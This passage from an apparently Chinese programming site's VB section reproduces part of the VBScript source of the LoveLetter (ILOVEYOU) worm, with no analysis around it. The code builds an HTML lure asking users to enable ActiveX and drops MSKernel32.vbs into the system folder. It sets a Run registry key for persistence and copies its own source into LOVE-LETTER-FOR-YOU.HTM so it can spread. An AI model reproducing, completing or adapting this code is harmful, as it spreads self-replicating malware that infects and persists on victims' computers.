>"&VBcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
逆风者
ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
X<?-?p>"&VBcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
--z--------------------z----------<?-?MARQUEE> "&VBcrlf& _
"<?-?BODY><?-?HTML>"&VBcrlf& _
"<SCRIPT language=@-@JScript@-@>"&VBcrlf& _
"<!--?-??-?"&VBcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight
;window.moveTo(0,0);window.resizeTo(wi,hi);}"&VBcrlf& _
"?-??-?-->"&VBcrlf& _
"<?-?SCRIPT>"&VBcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&VBcrlf& _
"<!--"&VBcrlf& _
"on error resume next"&VBcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&VBcrlf& _
"aw=1"&VBcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&VBcrlf&
_
"set dirsystem=fso.GetSpecialFolder(1)"&VBcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&VBcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&VBcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&VBcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&VBcrlf
& _
"wri.write code4"&VBcrlf& _
"wri.close"&VBcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&VBcrlf&
_
"if (err.number=424) then"&VBcrlf& _
"aw=0"&VBcrlf& _
"end if"&VBcrlf& _
"if (aw=1) then"&VBcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&VBcrlf& _
"window.close"&VBcrlf& _
"end if"&VBcrlf& _
"end if"&VBcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&VBcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
bs@-@"&VBcrlf& _
"?-??-?-->"&VBcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,VBcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91) chr(45) chr(91))
lines(n)=replace(lines(n),"""",chr(93) chr(45) chr(93))
lines(n)=replace(lines(n),"\",chr(37) chr(45) chr(37))
if (l1=n) then
lines(n)=chr(34) lines(n) chr(34)
else
lines(n)=chr(34) lines(n) chr(34)&"&VBcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem "\LOVE-LETTER-FOR-YOU.HTM")
本文章更多内容：<<上一页 - 1 - 2 - 3 - 4 - 5 - 下一页>> |
您的位置：逆风者
→ VB
→ 正文
本文章所属分类：首页
→ VB